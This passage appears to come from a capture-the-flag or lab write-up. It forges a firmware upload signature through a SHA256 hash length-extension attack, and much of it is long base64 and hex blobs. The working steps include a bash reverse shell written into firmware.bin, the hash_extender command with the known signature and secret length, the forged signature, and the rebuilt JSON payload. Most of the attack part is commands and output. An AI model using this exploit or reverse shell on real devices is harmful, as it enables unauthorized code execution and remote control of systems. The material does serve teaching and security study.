Et0L1U7T8Q6o796L+LwT2lfPSE2J12F87Mjj4hXDnkDadVnLh3ujhaCzSs986uWdbfhyNiy6bY/14tFZd7X50w9VeZ88j1h6w5w9rr7fnGWtvsMeDtQftcWTtjfb8YO332fOItTdtbnhm7FtQ2NXejPpd7aKdj8HaW+z7k7WHXDeL+1Grva+ftW9FZ1zt99v3O2vfZt/nrH2763zyo0/Z+7JZ+47NRBHG3obCrvadKOZqb6+yWXkbtwzeTp5zPhzP81w8RWr/GWffQ+0Vzv6Q2cZmf+A+HzbPq+OTpfXEuPFaNP2r4/xijf7Xuq4LZtlWpO7hS9z9XzWP91f189dmPdXj+Bvqz/fzT+axel7dMuupHt+fCiQO1fdFg0DyIUR0icYH4rlDcM97yJr26nlyWHDPq0gIpMm2qvnTSvx91fdRskY9T9J6+HYXavTze9je6muzn58gLxC74z6Fx8oFGocztD9T1P4rRNrdiXq5ep6i/vB8gP+lviZY/vz1vk79u2n9kDuySvvJ+1+pcV03hRp5JzMFvaiXZmejM2gzg0TWs/IMSQ0hiShqXp7L5KeVjKzq+UJRVkoLaCafnc9ouqZGHzp8qNvdiWSvpGWlUFAWZS2nFxbRbEHJarJaymYXMcWhydhTZ13p/7hxt2R5+ET8WEJOjA2RBBbWV0Xy0ONj8WOjg2yJme+CTSNjk3JCojVIQyeQPJI8PhBPyseHhx9LTMgT8YFkQob8mpliyez1x2bUkPyc/n4m/0ZTFV2pTtLhvGTiZfeMTcuR1WJeTik5laTsjB7HBWo6J5eKmursG7lArE8Xi7QaMxVIlnH/IDw183vYjCK2ayhaXMzqyjRGvWBhCs7SOVzTPIrm8roWjQ+MRnRljmpzuVJ0upTOqJG0ikwtpRRTKKou5nB9FuoFq+RrWqGYzucYRcZlBS2jEEd6Np/RSZP4MslpdC6PT3RtAR/NcYkW8maoo1qKzp+UWtjULKo1BSwGnOMWlGx6BpEarUasenAoURTP5iyedm63x38qZJ1NnoWwDKqVJwnCf3P4LGJzkvi8wDDnzy9vDnJ8WI8B7r0Hn3xXuY3XusCHdRsg8GH55PxmQ2QMWWt/4MP6DvAitUO+F/BhnX4SsbmAsA4EhPcLED5+p5G1lgc+rBcBRa7/Pg6fRNa7AeiwrgQM1+g/yDlkxRT4sP4EvMS1z1//05Q/QHVYpwKCH1F3uPCfQ86cSFSVNwvvUSD8+Jc5Pqx7beT8+fTcFzg+rI8B+XgFOXyZ48PfScCnuAHnl9kXOD6sEwAbOX/++l9B7P3L5w/zf0N5/qscv1Z+bi3+6xwf1vmAQe76+Xi+iaw5Dq9Pdr5uxN2fj//b+Nfi4MN6s/IJ+X9GbM6mnQ9N+ZAHXc/xYBzJOlpw8OE95FqXhZ33aP8mx7fXs/R1N3wP/gccH9aN4RjbT54P8iG1AR/WZ7GYuz///NqgNv7tHPi1/n440S2fdRwqrN+sJ4Kqnx+Njr4z/B5K5yrn+99ag3+y18IGjsDz/w1QSwECHgMUAAAACADYpYZTFqCo8GoJAADgQAAADAAYAAAAAAAAAAAA7YEAAAAAZmlybXdhcmUuYmluVVQFAAO4dq5hdXgLAAEEAAAAAAQAAAAAUEsFBgAAAAABAAEAUgAAALAJAAAAAA==",
"signature": "e0b5855c6dd61ceb1e0ae694e68f16a74adb6f87d1e9e2f78adfee688babcf23",
"secret_length": 16,
"algorithm": "SHA256"
}
In theory the signature
should prevent anyone who does not know the secret to create a new valid signature to modify or provide different data to the firmware upload page. However in practice this implimentation has a flaw.
To start we will build our own firmware.bin
containing some simple bash reverse shell commands and zip it up, our plan is to perform a hash extension attack.
$ cat firmware.bin
#!/bin/bash
bash -i >& /dev/tcp/127.0.0.1/443 0>&1
$ chmod +x firmware.bin
$ zip firmware.zip firmware.bin
updating: firmware.bin (deflated 4%)
Now using our known values from the origonal json file we will perform a hash extension attack.
$ cat firmware.zip | xxd -ps | tr -d \\n
504b0304140000000800839d2a54c3b1305333000000350000000c001c006669726d776172652e62696e5554090003858cdc61528fdc6175780b000104e803000004e80300005356d44fcaccd34f4a2ccee0e2e202510aba990a766a0afa29a965fa25c905fa8646e67a064068a86f6262ac6060a766c80500504b01021e03140000000800839d2a54c3b1305333000000350000000c0018000000000001000000ed81000000006669726d776172652e62696e5554050003858cdc6175780b000104e803000004e8030000504b0506000000000100010052000000790000000000
$ ../git/hash_extender/hash_extender --file ./orig.zip -f sha256 -l 16 -s e0b5855c6dd61ceb1e0ae694e68f16a74adb6f87d1e9e2f78adfee688babcf23 --append 504b0304140000000800839d2a54c3b1305333000000350000000c001c006669726d776172652e62696e5554090003858cdc61528fdc6175780b000104e803000004e80300005356d44fcaccd34f4a2ccee0e2e202510aba990a766a0afa29a965fa25c905fa8646e67a064068a86f6262ac6060a766c80500504b01021e03140000000800839d2a54c3b1305333000000350000000c0018000000000001000000ed81000000006669726d776172652e62696e5554050003858cdc6175780b000104e803000004e8030000504b0506000000000100010052000000790000000000 --append-format hex
Type: sha256
Secret length: 16
New signature: 2e641a9b03ca1bebd7b06d4403378a3e58dd2376b18724d3fe256c7b829e3061
New string: 504b0304140000000800d8a5865316a0a8f06a090000e04000000c001c006669726d776172652e62696e5554090003b876ae61b876ae6175780b000104000000000400000000ed5b5f6c1c47199fbdf3d9e73a5e9fd384384ec09792480ee4ce97a4761d5a373edb67afd1c531a91dd45067b3f6ae7d47ef8f7bb747ec0022e0523815973e54a80fed0b79492590287d8107d4045b952a284a1e2a22419109a9e446a05e54885248bdccecceb7de99db6bca0bf0b09f74fbdbef9bef3733fbcdec7ad63bdfb712c9619f2020103f7a14116d3c64e9fdd47ee688ed826dbda8091f3f833e8deab15ee7f0e331e5633168b763f12e523b8fbb118b8203eb506d391360118536790187cee35b028b4e9ed95e98da394c092c3a792436eb114b5fef6351a2d739ee63793ecabb437977fa585c13588478d6d1df2aad8fc721c422c470fc5d5d25e77be9f5f0f8086211785fc2bc7af4c905c27d82b6572b2e6d3e1621ac5d99f474cf835d19359249e74a0b9185de9e48cf83d1623e7ac8ec5388fa8e8c4d9afe647e416849f9366a23e577cffea8f9adb7f7bc240cb584065f3b25567efb97eb1077183784be6d1ee11aaf6abfcb7edcf591ee875dec4df8b7d5c5de51c3fe788d7a5235ece4ba1f70eb108ed70c094f0f9a2fe94524cb330b8a3c9bce2999f4390daba45c2eea4a4197b34a3a874692a30383f2a1e8a168379247278ec9aa56d0e6d2455d2b4c1c1bcce473da84329d21ccb96c3e4799b2e5eaea48c447c7c087e32a98b18579506a4f3712fb41aac3f8c37c8eb55a58e1ec155a41673f6b07fdda510b612c41d61c76bfc3beeeb03b9f2b15873de0b0df71d89df3bf8db6df8036e79d279e78e289279e78e289279efcbf89b4f4d7a0f46ce09d2e7cfadd4bbacfb8222dad0657ec72a3fb3a2e32f6ddc0c7968e7e7c4674f23682de5b33b0ecfb39d6679f07ff837f1b2d5f3d2d95af4b4b372ae313c9e5c029bc0c97969b3f208d2df75d26756e9fc59cbfb7740c99a65748dbcb811f13387247df8ebbf328ed4ea3b1d6d2719ed4bb4211fb2f9afedd0502fb37a4cb1b7ea95c912eaf1f958437a4ab1bfa365cc1765a41d0589b35db01fef9be23b80895ba26a5a5bedb515263f95d7d8bf46c5f7b17792bc557b49ec2873702ad5817a656b8f6dffb3a2e9cc41c1cb850f99b77a572a982fbf44b1193d7360ce317c4e9cd15dce8d3663ce25f1e2dff3e7e72b47c3b3e192f7f14c711d9377f00a149693942f0b1e47e525570bd88c9d2e58ffcfaae837f68e940c9f23f93e5db43e5f7e3c6b63f4a4b2b8274e49dd24d32365f998a3f119f8a9f8ecbb84f6805c69019354f3cf1c4134f3cf1c4134f3cf1c4134f3c6145403e349c2e64cf2a052d9c2e86674b99cc62b8341fd6f36155d1b53dc46797ffe15e647defbafbbe619037dbdd15c3f809c603182730b6de328c558c8f60bc81f1258c0704ebbbabd9ceb91348580809bbb634049f171a42c44ebeed5fc1f57dded11f777f84f652ff79ec1f260e6268586cfb624bd3d9e07974b4fde1cf1ddefb00f0c937ee14f60b3aea25dc27f02f81fb6b3ac6c5d033bec1e6fa29dc00e57c03ffc671f914291f10433ff425c4b6e7fc0931bc5c97103b7f1090c4d833f592d8bbd43022f67f55ec8d8bb1b8d839208607c436ec3f2006cdef9b240e295c8ff3fba3279e78e289279e78e289279e78e2c97f4becfd948efdc94edc028eb4bc99aaab94b793eab04f7317d5e11dab9d22ecd7dccd95ff63c3c89b3add7c097b2aaf511df652c6a87e1fd5bf43b189621bc5ed88157b4f67bf05b00713fce1bdb281e20e8a5280b57fbf8eedf7258a8d5c7dff32aceb01d70daaa728dfa03ac4b742f553b4fc43aa3bf7a2fe2f04f695f3d2136275d85f3b3238f88570e790369d5672e1dee8e1682cd2b3df3ab9675b7e1c8d8b2e9b63fd78b4565ded7e74c3d55e67cf23d61eb0e70f6bafb7e7196b6fb0c783b507ed7164ed8df6fc60edf7d9f388b5376d6e7866ec5b50d8d5de8cfa5deda29d8fc1da5becfb93b5875c378bfb51abbdaf9fb56f45675cedf7dbf73b6bdf66dfe7ac7dbbeb7cf2a34fd9fbb259fb8ecd4411c6de86c2aef69d28e66a6fafb259791bb70cde4e9e733e1ccff35c3c456aff1967df43ed15cefe90d9c6667fe03e1f36cfabe393a5f5c4b8f15a34fdabe3fc628dfed7baae0b66d956a4eee14bdcfd5f358ff757f5f3d7663dd5e3f81beacff7f34fe6b17a5edd32eba91edf9f0a240ed5f7458340f221447489c607e2b94370cf7bc89af6ea79725870cfab4808a4c9b6aaf9d34afc7dd5f751b2463d4fd27af876176af4f37bd8deea6bb39f9f202f10bbe33e85c7ca051a8733b43f53d4fe2b44dadd897ab97a9ea2fef07c80ffa5be2658fefcf5be4efdbb69fd903bb24afbc9fb5fa9715d37851a79273305bda8976667a33368338344d6b3f20c490d2189286a5e9ecbe4a7958caceaf94251564a0b68269f9dcf68baa6461f3a7ca8dbdd8964afa465a5505016652da71716d16c41c96ab25aca661731c5a1c9d853675de9ffb871b76479f844fc58424e8c0d910416d65745f2d0e363f163a3836c8999ef824d2363937242a235484327903c923c3e104fcac787871f4b4cc813f181644286fc9a9962c9ecf5c766d490fc9cfe7e26ff4653155da94ed2e1bc64e265f78c4dcb91d5625e4e293995a4ec8c1ec7056a3a27978a9aeaec1bb940ac4f178bb41a3315489671ff203c35f37bd88c22b66b285a5ccceaca3446bd60610aced2395cd33c8ae6f2ba168d0f8c4674658e6a73b95274ba94cea891b48a4c2da5145328aa2ee6707d16ea05abe46b5aa198cee71845c665052da310477a369fd14993f832c969742e8f4f746d011fcd718916f266a8a35a8ace9f945ad8d42caa35052c069ce316946c7a06911aad46ac7a70285114cfe62c9e766eb7c77f2a649d4d9e85b00caa952709c27f73f82c627392f8bcc030e7cf2f6f0e727c588f01eebd079f7c57b98dd7bac087751b20f061f9e4fc6643640c596b7fe0c3fa0ef022b543be17f0619d7e12b1b980b00e0484f70b103e7ea791b596073eac170145aeff3e0e9f44d6bb01e8b0ae040cd7e83fc83964c514f8b0fe04bcc4b5cf5fffd3943f407558a702821f5177b8f09f43ce9c485495370bef5120fcf897393eac7b6de4fcf9f4dc17383eac8f01f97805397c99e3c3df49c0a7b801e797d917383eac13001b397ffefa5f41ecfdcbe70ff37f4379feab1cbf567e6e2dfeeb1c1fd6f98041eefaf978be89ac390eaf4f76be6ec4dd9f8fffdbf8d7e2e0c37ab3f209f97f466ccea69d0f4df990075dcff1601cc93a5a70f0e13de45a97859df768ff26c7b7d7b3f475377c0ffe071c1fd68de118db4f9e0ff221b5011fd667b198bb3ffffcdaa036feed1cf8b5fe7e38d12d9f751c2aacdfac2782aa9f1f8d8ebe33fc1e4ae72ae7fbdf5a837fb2d7c2068ec0f3ff0d504b01021e03140000000800d8a5865316a0a8f06a090000e04000000c0018000000000000000000ed81000000006669726d776172652e62696e5554050003b876ae6175780b000104000000000400000000504b0506000000000100010052000000b00900000000800000000000000000000000000000000000000000005140504b0304140000000800839d2a54c3b1305333000000350000000c001c006669726d776172652e62696e5554090003858cdc61528fdc6175780b000104e803000004e80300005356d44fcaccd34f4a2ccee0e2e202510aba990a766a0afa29a965fa25c905fa8646e67a064068a86f6262ac6060a766c80500504b01021e03140000000800839d2a54c3b1305333000000350000000c0018000000000001000000ed81000000006669726d776172652e62696e5554050003858cdc6175780b000104e803000004e8030000504b0506000000000100010052000000790000000000
then we convert our new string back into base64 and replace the json files firmware
value with the result.
$ echo "504b0304140000000800d8a5865316a0a8f06a090000e04000000c001c006669726d776172652e62696e5554090003b876ae61b876ae6175780b000104000000000400000000ed5b5f6c1c47199fbdf3d9e73a5e9fd384384ec09792480ee4ce97a4761d5a373edb67afd1c531a91dd45067b3f6ae7d47ef8f7bb747ec0022e0523815973e54a80fed0b79492590287d8107d4045b952a284a1e2a22419109a9e446a05e54885248bdccecceb7de99db6bca0bf0b09f74fbdbef9bef3733fbcdec7ad63bdfb712c9619f2020103f7a14116d3c64e9fdd47ee688ed826dbda8091f3f833e8deab15ee7f0e331e5633168b763f12e523b8fbb118b8203eb506d391360118536790187cee35b028b4e9ed95e98da394c092c3a792436eb114b5fef6351a2d739ee63793ecabb437977fa585c13588478d6d1df2aad8fc721c422c470fc5d5d25e77be9f5f0f8086211785fc2bc7af4c905c27d82b6572b2e6d3e1621ac5d99f474cf835d19359249e74a0b9185de9e48cf83d1623e7ac8ec5388fa8e8c4d9afe647e416849f9366a23e577cffea8f9adb7f7bc240cb584065f3b25567efb97eb1077183784be6d1ee11aaf6abfcb7edcf591ee875dec4df8b7d5c5de51c3fe788d7a5235ece4ba1f70eb108ed70c094f0f9a2fe94524cb330b8a3c9bce2999f4390daba45c2eea4a4197b34a3a874692a30383f2a1e8a168379247278ec9aa56d0e6d2455d2b4c1c1bcce473da84329d21ccb96c3e4799b2e5eaea48c447c7c087e32a98b18579506a4f3712fb41aac3f8c37c8eb55a58e1ec155a41673f6b07fdda510b612c41d61c76bfc3beeeb03b9f2b15873de0b0df71d89df3bf8db6df8036e79d279e78e289279e78e289279efcbf89b4f4d7a0f46ce09d2e7cfadd4bbacfb8222dad0657ec72a3fb3a2e32f6ddc0c7968e7e7c4674f23682de5b33b0ecfb39d6679f07ff837f1b2d5f3d2d95af4b4b372ae313c9e5c029bc0c97969b3f208d2df75d26756e9fc59cbfb7740c99a65748dbcb811f13387247df8ebbf328ed4ea3b1d6d2719ed4bb4211fb2f9afedd0502fb37a4cb1b7ea95c912eaf1f958437a4ab1bfa365cc1765a41d0589b35db01fef9be23b80895ba26a5a5bedb515263f95d7d8bf46c5f7b17792bc557b49ec2873702ad5817a656b8f6dffb3a2e9cc41c1cb850f99b77a572a982fbf44b1193d7360ce317c4e9cd15dce8d3663ce25f1e2dff3e7e72b47c3b3e192f7f14c711d9377f00a149693942f0b1e47e525570bd88c9d2e58ffcfaae837f68e940c9f23f93e5db43e5f7e3c6b63f4a4b2b8274e49dd24d32365f998a3f119f8a9f8ecbb84f6805c69019354f3cf1c4134f3cf1c4134f3cf1c4134f3c6145403e349c2e64cf2a052d9c2e86674b99cc62b8341fd6f36155d1b53dc46797ffe15e647defbafbbe619037dbdd15c3f809c603182730b6de328c558c8f60bc81f1258c0704ebbbabd9ceb91348580809bbb634049f171a42c44ebeed5fc1f57dded11f777f84f652ff79ec1f260e6268586cfb624bd3d9e07974b4fde1cf1ddefb00f0c937ee14f60b3aea25dc27f02f81fb6b3ac6c5d033bec1e6fa29dc00e57c03ffc671f914291f10433ff425c4b6e7fc0931bc5c97103b7f1090c4d833f592d8bbd43022f67f55ec8d8bb1b8d839208607c436ec3f2006cdef9b240e295c8ff3fba3279e78e289279e78e289279e78e2c97f4becfd948efdc94edc028eb4bc99aaab94b793eab04f7317d5e11dab9d22ecd7dccd95ff63c3c89b3add7c097b2aaf511df652c6a87e1fd5bf43b189621bc5ed88157b4f67bf05b00713fce1bdb281e20e8a5280b57fbf8eedf7258a8d5c7dff32aceb01d70daaa728dfa03ac4b742f553b4fc43aa3bf7a2fe2f04f695f3d2136275d85f3b3238f88570e790369d5672e1dee8e1682cd2b3df3ab9675b7e1c8d8b2e9b63fd78b4565ded7e74c3d55e67cf23d61eb0e70f6bafb7e7196b6fb0c783b507ed7164ed8df6fc60edf7d9f388b5376d6e7866ec5b50d8d5de8cfa5deda29d8fc1da5becfb93b5875c378bfb51abbdaf9fb56f45675cedf7dbf73b6bdf66dfe7ac7dbbeb7cf2a34fd9fbb259fb8ecd4411c6de86c2aef69d28e66a6fafb259791bb70cde4e9e733e1ccff35c3c456aff1967df43ed15cefe90d9c6667fe03e1f36cfabe393a5f5c4b8f15a34fdabe3fc628dfed7baae0b66d956a4eee14bdcfd5f358ff757f5f3d7663dd5e3f81beacff7f34fe6b17a5edd32eba91edf9f0a240ed5f7458340f221447489c607e2b94370cf7bc89af6ea79725870cfab4808a4c9b6aaf9d34afc7dd5f751b2463d4fd27af876176af4f37bd8deea6bb39f9f202f10bbe33e85c7ca051a8733b43f53d4fe2b44dadd897ab97a9ea2fef07c80ffa5be2658fefcf5be4efdbb69fd903bb24afbc9fb5fa9715d37851a79273305bda8976667a33368338344d6b3f20c490d2189286a5e9ecbe4a7958caceaf94251564a0b68269f9dcf68baa6461f3a7ca8dbdd8964afa465a5505016652da71716d16c41c96ab25aca661731c5a1c9d853675de9ffb871b76479f844fc58424e8c0d910416d65745f2d0e363f163a3836c8999ef824d2363937242a235484327903c923c3e104fcac787871f4b4cc813f181644286fc9a9962c9ecf5c766d490fc9cfe7e26ff4653155da94ed2e1bc64e265f78c4dcb91d5625e4e293995a4ec8c1ec7056a3a27978a9aeaec1bb940ac4f178bb41a3315489671ff203c35f37bd88c22b66b285a5ccceaca3446bd60610aced2395cd33c8ae6f2ba168d0f8c4674658e6a73b95274ba94cea891b48a4c2da5145328aa2ee6707d16ea05abe46b5aa198cee71845c665052da310477a369fd14993f832c969742e8f4f746d011fcd718916f266a8a35a8ace9f945ad8d42caa35052c069ce316946c7a06911aad46ac7a70285114cfe62c9e766eb7c77f2a649d4d9e85b00caa952709c27f73f82c627392f8bcc030e7cf2f6f0e727c588f01eebd079f7c57b98dd7bac087751b20f061f9e4fc6643640c596b7fe0c3fa0ef022b543be17f0619d7e12b1b980b00e0484f70b103e7ea791b596073eac170145aeff3e0e9f44d6bb01e8b0ae040cd7e83fc83964c514f8b0fe04bcc4b5cf5fffd3943f407558a702821f5177b8f09f43ce9c485495370bef5120fcf897393eac7b6de4fcf9f4dc17383eac8f01f97805397c99e3c3df49c0a7b801e797d917383eac13001b397ffefa5f41ecfdcbe70ff37f4379feab1cbf567e6e2dfeeb1c1fd6f98041eefaf978be89ac390eaf4f76be6ec4dd9f8fffdbf8d7e2e0c37ab3f209f97f466ccea69d0f4df990075dcff1601cc93a5a70f0e13de45a97859df768ff26c7b7d7b3f475377c0ffe071c1fd68de118db4f9e0ff221b5011fd667b198bb3ffffcdaa036feed1cf8b5fe7e38d12d9f751c2aacdfac2782aa9f1f8d8ebe33fc1e4ae72ae7fbdf5a837fb2d7c2068ec0f3ff0d504b01021e03140000000800d8a5865316a0a8f06a090000e04000000c0018000000000000000000ed81000000006669726d776172652e62696e5554050003b876ae6175780b000104000000000400000000504b0506000000000100010052000000b00900000000800000000000000000000000000000000000000000005140504b0304140000000800839d2a54c3b1305333000000350000000c001c006669726d776172652e62696e5554090003858cdc61528fdc6175780b000104e803000004e80300005356d44fcaccd34f4a2ccee0e2e202510aba990a766a0afa29a965fa25c905fa8646e67a064068a86f6262ac6060a766c80500504b01021e03140000000800839d2a54c3b1305333000000350000000c0018000000000001000000ed81000000006669726d776172652e62696e5554050003858cdc6175780b000104e803000004e8030000504b0506000000000100010052000000790000000000" | xxd -r -p | base64 -w0
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
New json file.
{"firmware":"UEsDBBQAAAAIANilhlMWoKjwagkAAOBAAAAMABwAZmlybXdhcmUuYmluVVQJAAO4dq5huHauYXV4CwABBAAAAAAEAAAAAO1bX2wcRxmfvfPZ5zpen9OEOE7Al5JIDuTOl6R2HVo3Pttnr9HFMakd1FBns/aufUfvj3u3R+wAIuBSOBWXPlSoD+0LeUklkCh9gQfUBFuVKihKHioiQZEJqeRGoF5UiFJIvczszrfemdtrygvwsJ90+9vvm+83M/vN7HrWO9+3EslhnyAgED96FBFtPGTp/dR+5ojtgm29qAkfP4M+jeqxXufw4zHlYzFot2PxLlI7j7sRi4ID61BtORNgEYU2eQGHzuNbAotOntlemNo5TAksOnkkNusRS1/vY1Gi1znuY3k+yrtDeXf6WFwTWIR41tHfKq2PxyHEIsRw/F1dJed76fXw+AhiEXhfwrx69MkFwn2CtlcrLm0+FiGsXZn0dM+DXRk1kknnSguRhd6eSM+D0WI+esjsU4j6joxNmv5kfkFoSfk2aiPld8/+qPmtt/e8JAy1hAZfOyVWfvuX6xB3GDeEvm0e4Rqvar/Lftz1ke6HXexN+LfVxd5Rw/54jXpSNezkuh9w6xCO1wwJTw+aL+lFJMszC4o8m84pmfQ5DaukXC7qSkGXs0o6h0aSowOD8qHooWg3kkcnjsmqVtDm0kVdK0wcG8zkc9qEMp0hzLlsPkeZsuXq6kjER8fAh+MqmLGFeVBqTzcS+0Gqw/jDfI61Wljh7BVaQWc/awf92lELYSxB1hx2v8O+7rA7nysVhz3gsN9x2J3zv42234A2550nnnjiiSeeeOKJJ578v4m09Neg9GzgnS58+t1Lus+4Ii2tBlfscqP7Oi4y9t3Ax5aOfnxGdPI2gt5bM7Ds+znWZ58H/4N/Gy1fPS2Vr0tLNyrjE8nlwCm8DJeWmz8gjS33XSZ1bp/FnL+3dAyZpldI28uBHxM4ckffjrvzKO1Oo7HW0nGe1LtCEfsvmv7dBQL7N6TLG36pXJEurx+VhDekqxv6NlzBdlpB0FibNdsB/vm+I7gIlbompaW+21FSY/ldfYv0bF97F3krxVe0nsKHNwKtWBemVrj23/s6LpzEHBy4UPmbd6VyqYL79EsRk9c2DOMXxOnNFdzo02Y84l8eLf8+fnK0fDs+GS9/FMcR2Td/AKFJaTlC8LHkflJVcL2IydLlj/z6roN/aOlAyfI/k+XbQ+X348a2P0pLK4J05J3STTI2X5mKPxGfip+Oy7hPaAXGkBk1TzzxxBNPPPHEE0888cQTTzxhRUA+NJwuZM8qBS2cLoZnS5nMYrg0H9bzYVXRtT3EZ5f/4V5kfe+6+75hkDfb3RXD+AnGAxgnMLbeMoxVjI9gvIHxJYwHBOu7q9nOuRNIWAgJu7Y0BJ8XGkLETr7tX8H1fd7RH3d/hPZS/3nsHyYOYmhYbPtiS9PZ4Hl0tP3hzx3e+wDwyTfuFPYLOuol3CfwL4H7azrGxdAzvsHm+incAOV8A//GcfkUKR8QQz/0JcS25/wJMbxclxA7fxCQxNgz9ZLYu9QwIvZ/VeyNi7G42D